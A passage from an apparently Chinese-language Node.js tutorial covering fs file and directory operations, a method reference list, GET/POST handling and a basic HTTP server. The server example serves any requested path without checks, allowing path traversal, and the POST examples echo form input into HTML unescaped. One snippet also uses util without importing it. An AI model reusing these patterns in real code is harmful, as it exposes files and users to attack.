文件内容为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">菜鸟教程官网地址:www.runoob.com</span><br></pre></td></tr></table></figure>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var buf = new Buffer.alloc(1024);</span><br><span class="line"></span><br><span class="line">console.log("准备打开文件!");</span><br><span class="line">fs.open('input.txt', 'r+', function(err, fd) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("文件打开成功!");</span><br><span class="line"> console.log("准备读取文件!");</span><br><span class="line"> fs.read(fd, buf, 0, buf.length, 0, function(err, bytes){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 仅输出读取的字节</span><br><span class="line"> if(bytes > 0){</span><br><span class="line"> console.log(buf.slice(0, bytes).toString());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 关闭文件</span><br><span class="line"> fs.close(fd, function(err){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> } </span><br><span class="line"> console.log("文件关闭成功");</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备打开文件!</span><br><span class="line">文件打开成功!</span><br><span class="line">准备读取文件!</span><br><span class="line">菜鸟教程官网地址:www.runoob.com</span><br><span class="line">文件关闭成功</span><br></pre></td></tr></table></figure></li></ul><h2 id="截取文件"><a href="#截取文件" class="headerlink" title="截取文件"></a>截取文件</h2><ul><li>语法<br>以下为异步模式下截取文件的语法格式:<br><code>fs.ftruncate(fd, len, callback)</code><br>该方法使用了文件描述符来读取文件。</li><li>参数<br>参数使用说明如下:</li><li><em>fd*</em> - 通过 fs.open() 方法返回的文件描述符。</li><li><em>len*</em> - 文件内容截取的长度。</li><li><em>callback*</em> - 回调函数,没有参数。</li><li>实例<br>input.txt 文件内容为:<br><code>site:www.runoob.com</code><br>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">var buf = new Buffer.alloc(1024);</span><br><span class="line"></span><br><span class="line">console.log("准备打开文件!");</span><br><span class="line">fs.open('input.txt', 'r+', function(err, fd) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("文件打开成功!");</span><br><span class="line"> console.log("截取10字节内的文件内容,超出部分将被去除。");</span><br><span class="line"> </span><br><span class="line"> // 截取文件</span><br><span class="line"> fs.ftruncate(fd, 10, function(err){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> } </span><br><span class="line"> console.log("文件截取成功。");</span><br><span class="line"> console.log("读取相同的文件"); </span><br><span class="line"> fs.read(fd, buf, 0, buf.length, 0, function(err, bytes){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 仅输出读取的字节</span><br><span class="line"> if(bytes > 0){</span><br><span class="line"> console.log(buf.slice(0, bytes).toString());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> // 关闭文件</span><br><span class="line"> fs.close(fd, function(err){</span><br><span class="line"> if (err){</span><br><span class="line"> console.log(err);</span><br><span class="line"> } </span><br><span class="line"> console.log("文件关闭成功!");</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备打开文件!</span><br><span class="line">文件打开成功!</span><br><span class="line">截取10字节内的文件内容,超出部分将被去除。</span><br><span class="line">文件截取成功。</span><br><span class="line">读取相同的文件</span><br><span class="line">site:www.r</span><br><span class="line">文件关闭成功</span><br></pre></td></tr></table></figure></li></ul><h2 id="删除文件"><a href="#删除文件" class="headerlink" title="删除文件"></a>删除文件</h2><ul><li>语法<br>以下为删除文件的语法格式:<br><code>fs.unlink(path, callback)</code></li><li>参数<br>参数使用说明如下:</li><li><em>path*</em> - 文件路径。</li><li><em>callback*</em> - 回调函数,没有参数。</li><li>实例<br>input.txt 文件内容为:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">site:www.runoob.com</span><br></pre></td></tr></table></figure>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">console.log("准备删除文件!");</span><br><span class="line">fs.unlink('input.txt', function(err) {</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("文件删除成功!");</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备删除文件!</span><br><span class="line">文件删除成功!</span><br></pre></td></tr></table></figure>再去查看 input.txt 文件,发现已经不存在了。</li></ul><h2 id="创建目录"><a href="#创建目录" class="headerlink" title="创建目录"></a>创建目录</h2><ul><li>语法<br>以下为创建目录的语法格式:<br><code>fs.mkdir(path[, options], callback)</code></li><li>参数<br>参数使用说明如下:</li><li><em>path*</em> - 文件路径。</li><li><em>options*</em> 参数可以是:<br> <strong>recursive</strong> - 是否以递归的方式创建目录,默认为 false。<br> <strong>mode</strong> - 设置目录权限,默认为 0777。</li><li><em>callback*</em> - 回调函数,没有参数。</li><li>实例<br>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">// tmp 目录必须存在</span><br><span class="line">console.log("创建目录 /tmp/test/");</span><br><span class="line">fs.mkdir("/tmp/test/",function(err){</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("目录创建成功。");</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">创建目录 /tmp/test/</span><br><span class="line">目录创建成功。</span><br></pre></td></tr></table></figure>可以添加 recursive: true 参数,不管创建的目录 /tmp 和 /tmp/a 是否存在:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">fs.mkdir('/tmp/a/apple', { recursive: true }, (err) => {</span><br><span class="line"> if (err) throw err;</span><br><span class="line">});</span><br></pre></td></tr></table></figure></li></ul><h2 id="读取目录"><a href="#读取目录" class="headerlink" title="读取目录"></a>读取目录</h2><ul><li>语法<br>以下为读取目录的语法格式:<br><code>fs.readdir(path, callback)</code></li><li>参数<br>参数使用说明如下:</li><li><em>path*</em> - 文件路径。</li><li><em>callback*</em> - 回调函数,回调函数带有两个参数err, files,err 为错误信息,files 为目录下的文件数组列表。</li><li>实例<br>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line"></span><br><span class="line">console.log("查看 /tmp 目录");</span><br><span class="line">fs.readdir("/tmp/",function(err, files){</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> files.forEach( function (file){</span><br><span class="line"> console.log( file );</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">查看 /tmp 目录</span><br><span class="line">input.out</span><br><span class="line">output.out</span><br><span class="line">test</span><br><span class="line">test.txt</span><br></pre></td></tr></table></figure></li></ul><h2 id="删除目录"><a href="#删除目录" class="headerlink" title="删除目录"></a>删除目录</h2><ul><li>语法<br>以下为删除目录的语法格式:<br><code>fs.rmdir(path, callback)</code></li><li>参数<br>参数使用说明如下:</li><li><em>path*</em> - 文件路径。</li><li><em>callback*</em> - 回调函数,没有参数。</li><li>实例<br>接下来我们创建 file.js 文件,代码如下所示:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">var fs = require("fs");</span><br><span class="line">// 执行前创建一个空的 /tmp/test 目录</span><br><span class="line">console.log("准备删除目录 /tmp/test");</span><br><span class="line">fs.rmdir("/tmp/test",function(err){</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> console.log("读取 /tmp 目录");</span><br><span class="line"> fs.readdir("/tmp/",function(err, files){</span><br><span class="line"> if (err) {</span><br><span class="line"> return console.error(err);</span><br><span class="line"> }</span><br><span class="line"> files.forEach( function (file){</span><br><span class="line"> console.log( file );</span><br><span class="line"> });</span><br><span class="line"> });</span><br><span class="line">});</span><br></pre></td></tr></table></figure>以上代码执行结果如下:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ node file.js </span><br><span class="line">准备删除目录 /tmp/test</span><br><span class="line">读取 /tmp 目录</span><br><span class="line">……</span><br></pre></td></tr></table></figure></li></ul><h2 id="文件模块方法参考手册"><a href="#文件模块方法参考手册" class="headerlink" title="文件模块方法参考手册"></a>文件模块方法参考手册</h2><ol><li><p>fs.rename(oldPath, newPath, callback)<br>异步 rename().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.ftruncate(fd, len, callback)<br>异步 ftruncate().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.ftruncateSync(fd, len)<br>同步 ftruncate()</p></li><li><p>fs.truncate(path, len, callback)<br>异步 truncate().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.truncateSync(path, len)<br>同步 truncate()</p></li><li><p>fs.chown(path, uid, gid, callback)<br>异步 chown().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.chownSync(path, uid, gid)<br>同步 chown()</p></li><li><p>fs.fchown(fd, uid, gid, callback)<br>异步 fchown().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.fchownSync(fd, uid, gid)<br>同步 fchown()</p></li><li><p>fs.lchown(path, uid, gid, callback)<br>异步 lchown().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.lchownSync(path, uid, gid)<br>同步 lchown()</p></li><li><p>fs.chmod(path, mode, callback)<br>异步 chmod().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.chmodSync(path, mode)<br>同步 chmod().</p></li><li><p>fs.fchmod(fd, mode, callback)<br>异步 fchmod().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.fchmodSync(fd, mode)<br>同步 fchmod().</p></li><li><p>fs.lchmod(path, mode, callback)<br>异步 lchmod().回调函数没有参数,但可能抛出异常。Only available on Mac OS X.</p></li><li><p>fs.lchmodSync(path, mode)<br>同步 lchmod().</p></li><li><p>fs.stat(path, callback)<br>异步 stat(). 回调函数有两个参数 err, stats,stats 是 fs.Stats 对象。</p></li><li><p>fs.lstat(path, callback)<br>异步 lstat(). 回调函数有两个参数 err, stats,stats 是 fs.Stats 对象。</p></li><li><p>fs.fstat(fd, callback)<br>异步 fstat(). 回调函数有两个参数 err, stats,stats 是 fs.Stats 对象。</p></li><li><p>fs.statSync(path)<br>同步 stat(). 返回 fs.Stats 的实例。</p></li><li><p>fs.lstatSync(path)<br>同步 lstat(). 返回 fs.Stats 的实例。</p></li><li><p>fs.fstatSync(fd)<br>同步 fstat(). 返回 fs.Stats 的实例。</p></li><li><p>fs.link(srcpath, dstpath, callback)<br>异步 link().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.linkSync(srcpath, dstpath)<br>同步 link().</p></li><li><p>fs.symlink(srcpath, dstpath[, type], callback)<br>异步 symlink().回调函数没有参数,但可能抛出异常。 type 参数可以设置为 ‘dir’, ‘file’, 或 ‘junction’ (默认为 ‘file’) 。</p></li><li><p>fs.symlinkSync(srcpath, dstpath[, type])<br>同步 symlink().</p></li><li><p>fs.readlink(path, callback)<br>异步 readlink(). 回调函数有两个参数 err, linkString。</p></li><li><p>fs.realpath(path[, cache], callback)<br>异步 realpath(). 回调函数有两个参数 err, resolvedPath。</p></li><li><p>fs.realpathSync(path[, cache])<br>同步 realpath()。返回绝对路径。</p></li><li><p>fs.unlink(path, callback)<br>异步 unlink().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.unlinkSync(path)<br>同步 unlink().</p></li><li><p>fs.rmdir(path, callback)<br>异步 rmdir().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.rmdirSync(path)<br>同步 rmdir().</p></li><li><p>fs.mkdir(path[, mode], callback)<br>S异步 mkdir(2).回调函数没有参数,但可能抛出异常。 访问权限默认为 0777。</p></li><li><p>fs.mkdirSync(path[, mode])<br>同步 mkdir().</p></li><li><p>fs.readdir(path, callback)<br>异步 readdir(3). 读取目录的内容。</p></li><li><p>fs.readdirSync(path)<br>同步 readdir().返回文件数组列表。</p></li><li><p>fs.close(fd, callback)<br>异步 close().回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.closeSync(fd)<br>同步 close().</p></li><li><p>fs.open(path, flags[, mode], callback)<br>异步打开文件。</p></li><li><p>fs.openSync(path, flags[, mode])<br>同步 version of fs.open().</p></li><li><p>fs.utimes(path, atime, mtime, callback)</p></li><li><p>fs.utimesSync(path, atime, mtime)<br>修改文件时间戳,文件通过指定的文件路径。</p></li><li><p>fs.futimes(fd, atime, mtime, callback)</p></li><li><p>fs.futimesSync(fd, atime, mtime)<br>修改文件时间戳,通过文件描述符指定。</p></li><li><p>fs.fsync(fd, callback)<br>异步 fsync.回调函数没有参数,但可能抛出异常。</p></li><li><p>fs.fsyncSync(fd)<br>同步 fsync.</p></li><li><p>fs.write(fd, buffer, offset, length[, position], callback)<br>将缓冲区内容写入到通过文件描述符指定的文件。</p></li><li><p>fs.write(fd, data[, position[, encoding]], callback)<br>通过文件描述符 fd 写入文件内容。</p></li><li><p>fs.writeSync(fd, buffer, offset, length[, position])<br>同步版的 fs.write()。</p></li><li><p>fs.writeSync(fd, data[, position[, encoding]])<br>同步版的 fs.write().</p></li><li><p>fs.read(fd, buffer, offset, length, position, callback)<br>通过文件描述符 fd 读取文件内容。</p></li><li><p>fs.readSync(fd, buffer, offset, length, position)<br>同步版的 fs.read.</p></li><li><p>fs.readFile(filename[, options], callback)<br>异步读取文件内容。</p></li><li><p>fs.readFileSync(filename[, options])</p></li><li><p>fs.writeFile(filename, data[, options], callback)<br>异步写入文件内容。</p></li><li><p>fs.writeFileSync(filename, data[, options])<br>同步版的 fs.writeFile。</p></li><li><p>fs.appendFile(filename, data[, options], callback)<br>异步追加文件内容。</p></li><li><p>fs.appendFileSync(filename, data[, options])<br>The 同步 version of fs.appendFile.</p></li><li><p>fs.watchFile(filename[, options], listener)<br>查看文件的修改。</p></li><li><p>fs.unwatchFile(filename[, listener])<br>停止查看 filename 的修改。</p></li><li><p>fs.watch(filename[, options][, listener])<br>查看 filename 的修改,filename 可以是文件或目录。返回 fs.FSWatcher 对象。</p></li><li><p>fs.exists(path, callback)<br>检测给定的路径是否存在。</p></li><li><p>fs.existsSync(path)<br>同步版的 fs.exists.</p></li><li><p>fs.access(path[, mode], callback)<br>测试指定路径用户权限。</p></li><li><p>fs.accessSync(path[, mode])<br>同步版的 fs.access。</p></li><li><p>fs.createReadStream(path[, options])<br>返回ReadStream 对象。</p></li><li><p>fs.createWriteStream(path[, options])<br>返回 WriteStream 对象。</p></li><li><p>fs.symlink(srcpath, dstpath[, type], callback)<br>异步 symlink().回调函数没有参数,但可能抛出异常。</p></li></ol><hr><h1 id="Node-js-GET-POST请求"><a href="#Node-js-GET-POST请求" class="headerlink" title="Node.js GET/POST请求"></a>Node.js GET/POST请求</h1><p>在很多场景中,我们的服务器都需要跟用户的浏览器打交道,如表单提交。<br>表单提交到服务器一般都使用 GET/POST 请求。<br>本章节我们将为大家介绍 Node.js GET/POST请求。</p><h2 id="获取GET请求内容"><a href="#获取GET请求内容" class="headerlink" title="获取GET请求内容"></a>获取GET请求内容</h2><p>由于GET请求直接被嵌入在路径中,URL是完整的请求路径,包括了?后面的部分,因此你可以手动解析后面的内容作为GET请求的参数。<br>node.js 中 url 模块中的 parse 函数提供了这个功能。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line">var url = require('url');</span><br><span class="line">var util = require('util');</span><br><span class="line"> </span><br><span class="line">http.createServer(function(req, res){</span><br><span class="line"> res.writeHead(200, {'Content-Type': 'text/plain; charset=utf-8'});</span><br><span class="line"> res.end(util.inspect(url.parse(req.url, true)));</span><br><span class="line">}).listen(3000);</span><br></pre></td></tr></table></figure><p>在浏览器中访问 <a href="http://localhost:3000/user?name=菜鸟教程&url=www.runoob.com" target="_blank" rel="noopener">http://localhost:3000/user?name=菜鸟教程&url=www.runoob.com</a> 然后查看返回结果:<br><img src="http://www.runoob.com/wp-content/uploads/2014/06/4A1C02B2-2EB8-4976-9F35-F3760713D495.jpg" alt=""></p><h3 id="获取-URL-的参数"><a href="#获取-URL-的参数" class="headerlink" title="获取 URL 的参数"></a>获取 URL 的参数</h3><p>我们可以使用 url.parse 方法来解析 URL 中的参数,代码如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line">var url = require('url');</span><br><span class="line">var util = require('util');</span><br><span class="line"> </span><br><span class="line">http.createServer(function(req, res){</span><br><span class="line"> res.writeHead(200, {'Content-Type': 'text/plain'});</span><br><span class="line"> </span><br><span class="line"> // 解析 url 参数</span><br><span class="line"> var params = url.parse(req.url, true).query;</span><br><span class="line"> res.write("网站名:" + params.name);</span><br><span class="line"> res.write("\n");</span><br><span class="line"> res.write("网站 URL:" + params.url);</span><br><span class="line"> res.end();</span><br><span class="line"> </span><br><span class="line">}).listen(3000);</span><br></pre></td></tr></table></figure><p>在浏览器中访问 <a href="http://localhost:3000/user?name=菜鸟教程&url=www.runoob.com" target="_blank" rel="noopener">http://localhost:3000/user?name=菜鸟教程&url=www.runoob.com</a> 然后查看返回结果:<br><img src="http://www.runoob.com/wp-content/uploads/2014/06/ADF34B0E-6715-41EE-9A88-4BE067100868.jpg" alt=""></p><h2 id="获取-POST-请求内容"><a href="#获取-POST-请求内容" class="headerlink" title="获取 POST 请求内容"></a>获取 POST 请求内容</h2><p>POST 请求的内容全部的都在请求体中,http.ServerRequest 并没有一个属性内容为请求体,原因是等待请求体传输可能是一件耗时的工作。<br>比如上传文件,而很多时候我们可能并不需要理会请求体的内容,恶意的POST请求会大大消耗服务器的资源,所以 node.js 默认是不会解析请求体的,当你需要的时候,需要手动来做。</p><figure class="highlight plain"><figcaption><span>基本语法结构说明</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line">var querystring = require('querystring');</span><br><span class="line"> </span><br><span class="line">http.createServer(function(req, res){</span><br><span class="line"> // 定义了一个post变量,用于暂存请求体的信息</span><br><span class="line"> var post = ''; </span><br><span class="line"> </span><br><span class="line"> // 通过req的data事件监听函数,每当接受到请求体的数据,就累加到post变量中</span><br><span class="line"> req.on('data', function(chunk){ </span><br><span class="line"> post += chunk;</span><br><span class="line"> });</span><br><span class="line"> </span><br><span class="line"> // 在end事件触发后,通过querystring.parse将post解析为真正的POST请求格式,然后向客户端返回。</span><br><span class="line"> req.on('end', function(){ </span><br><span class="line"> post = querystring.parse(post);</span><br><span class="line"> res.end(util.inspect(post));</span><br><span class="line"> });</span><br><span class="line">}).listen(3000);</span><br></pre></td></tr></table></figure><p>以下实例表单通过 POST 提交并输出数据:</p><figure class="highlight plain"><figcaption><span>实例</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line">var querystring = require('querystring');</span><br><span class="line"> </span><br><span class="line">var postHTML = </span><br><span class="line"> '<html><head><meta charset="utf-8"><title>菜鸟教程 Node.js 实例</title></head>' +</span><br><span class="line"> '<body>' +</span><br><span class="line"> '<form method="post">' +</span><br><span class="line"> '网站名: <input name="name"><br>' +</span><br><span class="line"> '网站 URL: <input name="url"><br>' +</span><br><span class="line"> '<input type="submit">' +</span><br><span class="line"> '</form>' +</span><br><span class="line"> '</body></html>';</span><br><span class="line"> </span><br><span class="line">http.createServer(function (req, res) {</span><br><span class="line"> var body = "";</span><br><span class="line"> req.on('data', function (chunk) {</span><br><span class="line"> body += chunk;</span><br><span class="line"> });</span><br><span class="line"> req.on('end', function () {</span><br><span class="line"> // 解析参数</span><br><span class="line"> body = querystring.parse(body);</span><br><span class="line"> // 设置响应头部信息及编码</span><br><span class="line"> res.writeHead(200, {'Content-Type': 'text/html; charset=utf8'});</span><br><span class="line"> </span><br><span class="line"> if(body.name && body.url) { // 输出提交的数据</span><br><span class="line"> res.write("网站名:" + body.name);</span><br><span class="line"> res.write("<br>");</span><br><span class="line"> res.write("网站 URL:" + body.url);</span><br><span class="line"> } else { // 输出表单</span><br><span class="line"> res.write(postHTML);</span><br><span class="line"> }</span><br><span class="line"> res.end();</span><br><span class="line"> });</span><br><span class="line">}).listen(3000);</span><br></pre></td></tr></table></figure><p>执行结果 Gif 演示:<br><img src="http://www.runoob.com/wp-content/uploads/2014/06/nodepost.gif" alt=""></p><hr><h1 id="Node-js-Web-模块"><a href="#Node-js-Web-模块" class="headerlink" title="Node.js Web 模块"></a>Node.js Web 模块</h1><h2 id="使用-Node-创建-Web-服务器"><a href="#使用-Node-创建-Web-服务器" class="headerlink" title="使用 Node 创建 Web 服务器"></a>使用 Node 创建 Web 服务器</h2><p>Node.js 提供了 http 模块,http 模块主要用于搭建 HTTP 服务端和客户端,使用 HTTP 服务器或客户端功能必须调用 http 模块,代码如下:<br><code>var http = require('http');</code><br>以下是演示一个最基本的 HTTP 服务器架构(使用 8080 端口),创建 server.js 文件,代码如下所示:</p><figure class="highlight plain"><figcaption><span>server.js</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">var http = require('http');</span><br><span class="line">var fs = require('fs');</span><br><span class="line">var url = require('url');</span><br><span class="line"> </span><br><span class="line"> </span><br><span class="line">// 创建服务器</span><br><span class="line">http.createServer( function (request, response) { </span><br><span class="line"> // 解析请求,包括文件名</span><br><span class="line"> var pathname = url.parse(request.url).pathname;</span><br><span class="line"> </span><br><span class="line"> // 输出请求的文件名</span><br><span class="line"> console.log("Request for " + pathname + " received.");</span><br><span class="line"> </span><br><span class="line"> // 从文件系统中读取请求的文件内容</span><br><span class="line"> fs.readFile(pathname.substr(1), function (err, data) {</span><br><span class="line"> if (err) {</span><br><span class="line"> console.log(err);</span><br><span class="line"> // HTTP 状态码: 404 : NOT FOUND</span><br><span class="line"> // Content Type: text/plain</span><br><span class="line"> response.writeHead(404, {'Content-Type': 'text/html'});</span><br><span class="line"> }else{ </span><br><span class="line"> // HTTP 状态码: 200 : OK</span><br><span class="line"> // Content Type: text/plain</span><br><span class="line"> response.writeHead(200, {'Content-Type': 'text/html'}); </span><br><span class="line"> </span><br><span class="line"> // 响应文件内容</span><br><span class="line"> response.write(data.toString()); </span><br><span class="line"> }</span><br><span class="line"> // 发送响应数据</span><br><span class="line"> response.end();</span><br><span class="line"> }); </span><br><span class="line">}).listen(8080);</span><br><span class="line"> </span><br><span class="line">// 控制台会输出以下信息</span><br><span class="line">console.log('Server running at http://127.0.0.1:8080/');</span><br></pre></td></tr></table></figure><p>接下来我们在该目录下创建一个 index.html 文件,代码如下:</p><figure 